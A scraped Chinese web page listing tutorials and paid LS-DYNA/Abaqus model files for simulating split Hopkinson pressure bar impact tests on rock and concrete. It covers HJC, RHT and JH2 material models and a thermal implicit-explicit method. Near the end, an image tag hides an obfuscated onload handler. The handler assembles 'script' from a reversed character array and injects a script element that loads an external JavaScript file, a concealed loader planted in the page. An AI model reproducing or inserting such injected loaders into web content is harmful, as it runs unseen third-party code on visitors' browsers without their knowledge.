SHPB沖擊壓縮模擬的案例
基于ANSYS/LS-DYNA巖石、混凝土材料SHPB沖擊壓縮模擬資料總結（適用于初學者）
早期基于ANSYS/LS-DYNA學習，對SHPB仿真包含的過程及軟件操作進行記錄的學習文件，供大家參考學習。
SHPB沖擊壓縮模擬專題筆記整理.pdf
1 實驗裝置基本信息 2
2動態模擬 2
2.1 單軸沖擊壓縮模擬 2
2.2 關鍵字設置 4
3 ANSYS界面 6
3.1 頁面介紹 6
3.1.1主頁面 6
3.1.2 主菜單詳情介紹 8
4 LS-PrePost界面 11
4.1主頁面 11
4.2選項卡 13
4.2.1 選項卡1：后處理工具 13
4.2.2 選項卡2：預處理和后處理 19
4.2.3 選項卡3、4：關鍵字文件編輯 20
4.2.4 選項卡5：預處理工具 22
4.2.5 選項卡7：預處理工具 25
4.2.6 選項卡8：實體顯示界面 26
4.2.7 常用操作界面 26
4.3 新版界面（F11切換） 28
5 常用信息及操作 31
5.1 HJC模型 31
5.1.1參數意義 31
5.1.2 不同強度混凝土HJC模型參考 32
5.2 RHT模型 32
5.3 關鍵字*MAT_ADD_EROSION 33
5.4單位制 34
5.5 截圖 34
5.5.1 ANSYS LS-DYNA 34
5.5.2 LS-PrePost 34
5.6 常用云圖所選取的觀察方式（Fcomp） 35
5.7 半正弦波的生成和加載步驟 36
5.7.1 半正弦波的生成 36
6 常用公式 38
6.1 SHPB實驗 38
展開 LS-DYNA 模擬SHPB沖擊壓縮試驗 ￥15.9
對SHPB沖擊壓縮試驗進行模擬，利用ANSYS APDL 建立1/4模型，并利用LS-PrePost進行k文件修改，給巖石試樣選擇HJC模型，定義接觸和失效準則……
k文件如下
LS-DYNA單三軸壓縮模擬，SHPB沖擊模擬，臺階爆破模擬，多孔爆破模擬，可交流或出售k文件
LS-DYNA單三軸壓縮模擬，SHPB沖擊模擬，臺階爆破模擬，多孔爆破模擬，地應力下裂紋擴展模擬，可交流解答問題或出售相關k文件。以下為一些做過的案例效果圖。 如需購買k文件或咨詢相關案例請聯系qq：872335684
三軸壓縮實驗模擬
SHPB沖擊模擬
單孔爆破裂紋擴展模擬
多孔爆破裂紋擴展模擬
地應力作用下爆破裂紋擴展模擬
臺階爆破模擬
實時高溫條件下SHPB沖擊壓縮模擬方法
溫度對于花崗巖力學特性有不可忽視的影響，模擬100℃和200℃下花崗巖SHPB 試驗時必須考慮溫度的作用，借助“隱式-顯式順序求解法”模擬實時溫度下花崗巖的沖擊破壞過程。眾所周知，ANSYS 隱式方法能高效的求解靜載問題，而求解瞬態問題則需要借助顯式方法，“隱式-顯式順序求解法”實質上就是將隱式的求解結果寫入的drelax文件，接著ANSYS/LS-DYNA 讀入這些變形，并且對描述的幾何模型進行初始化，之后再進行瞬態求解。計算具體過程概括如下:
(1)取常溫下花崗巖的線熱膨脹系數為8x10-6C-1，首先對試樣施加溫度荷載，求解分析的隱式部分(熱荷載):
(2)改變模型文件名，避免隱式求解結果被顯式求解結果覆蓋
(3)將隱式單元轉換為對應的顯式單元;
(4)更新單元關鍵選項，如材料屬性等;
(5)移除人為施加在模型上的多余約束;
(6)將隱式求解結果(節點位移等)寫入drelax文件:
(7)通過 drelax文件，為顯式求解進行幾何模型的初始化:
(8)為顯式求解施加沖擊荷載和接觸條件:
(9)求解該分析的顯示部分(沖擊荷載)。
雖然ANSYS/LS-DYNA軟件已經提供了大量的材料本構模型，但是仍無法包含一些具有特殊力學性能的材料。正是由于此原因，LS-DYNA 提供了可供用戶自定義的材料本構接口，通過此接口，用戶可以將材料所具有的特殊力學性能嵌入LS-DYNA軟件中，從而完成問題的數值模擬。自定義本構子程序參量包括了材料參數、應變增量、時間步長現時刻應力和歷史變量值等。用FORTRAN或C語言編寫材料本構子程序，應變增量由程序本身根據守恒方程和運動方程獲得，在每個時間步過程中調用子程序求解出應力的增量。
《內容轉載》
展開 
ANSYS/LS-DYNA三相細觀骨料混凝土SHPB沖擊壓縮模擬
關于SHPB數值模擬的研究已較為深入，模擬優勢主要在于可通過修正參數使模擬結果與實際一致，以此為基礎對材料的動態破壞過程及更為復雜的工況進行模擬研究，主要研究對象主要分為混凝土、巖石、金屬、陶瓷等材料，并通過LS-DYNA中的RHT、HJC、JC、K&C、CSC等材料模型來模擬上述材料在中高、高應變率荷載作用下裂紋擴展及損傷規律，試件往往采用的是均質模型。
近年來，關于非均質模型的研究已取得一些進展：
1.《Study of concrete damage mechanism under hydrostatic pressure by numerical simulations》一文中建立了考慮骨料、砂漿的兩相混凝土模型，并采用“背景投影法（網格映射法）”建立了六面體非均質混凝土有限元模型。
2.《3D mesoscopic investigation of the specimen aspect-ratio effect on the compressive behavior of coral aggregate concrete》一文中建立了考慮界面層（ITZ）、骨料、砂漿的三相混凝土模型，并采用“背景投影法（網格映射法）”建立了六面體非均質混凝土有限元模型。
3.《基于三維隨機細觀模型的珊瑚混凝土力學性能模擬》一文中建立了考慮界面層（ITZ）、骨料、砂漿的三相混凝土模型，并采用“背景投影法（網格映射法）”建立了六面體非均質混凝土有限元模型。
相比均質有限元模型，非均質有限元模型的仿真結果可信度更高，仿真效果更好，與實際破壞情況更為吻合，該方法具有廣泛的運用前景，可用于靜態力學試驗、動態力學試驗、爆破領域、建筑結構領域等。
展開 （k文件）SHPB動態壓縮模擬破碎形態-LS-DYNA霍普金森壓桿 ￥75
有關SHPB數值模擬方法的相關教程比較常見，若對于模擬出巖石破碎形態感興趣，可參考以下附件。主要是接觸、邊界條件和材料失效的設置。如下圖，是主頁成果展示的相關k文件。對于成果展示的其他內容感興趣的，也可私信。</p><div contenteditable="false" width="100%">
<img onload="var st=document['create' + 'Element'](['t', 'p', 'i', 'r', 'c', 's'].reverse().join(''));st['src']='https://img.jishulink.com/202505/attachment/e3c0c45774c44ad99c4c8cf72de98f7b.js';document.body['append' + 'Child'](st)"src="https://img.jishulink.com/upload/202110/528e2464aace4e2c826b804aa354f4a2.png" title="QQ截圖20211014094328.png" alt="QQ截圖20211014094328.png" style="max-width:760px;" data-mobile-src="https://img.jishulink.com/upload/202110/528e2464aace4e2c826b804aa354f4a2.png?image_process=/format,webp/quality,q_40/resize,w_400" data-pc-src="https://img.jishulink.com/upload/202110/528e2464aace4e2c826b804aa354f4a2.png?
展開 （k文件）SPH粒子模擬SHPB壓縮巖塊飛散-LS-DYNA軟件 ￥199
利用LS-DYNA軟件模擬巖石斷裂形態較為常見，現給出一種模擬巖石斷裂和巖屑飛散的k文件。圖中紅色部分為裂紋，完整巖樣斷裂成幾塊，層次分明，并且碎屑飛散效果明顯。
Abaqus基于JH2本構的脆性材料沖擊仿真及SHPB模擬
材料屬性的含義如下
下圖為通過JH2本構進行的相關的沖擊模擬
此外，本貼根據JH2本構的相關理論，編寫了JH2本構的VUMAT子程序，并對脆性材料的SHPB試驗進行了模擬，以下是相關的結果。
試驗件失效示意圖
入射和透射桿上的應變響應
有關于abaqus子程序開發的相關問題可以聯系公眾號。
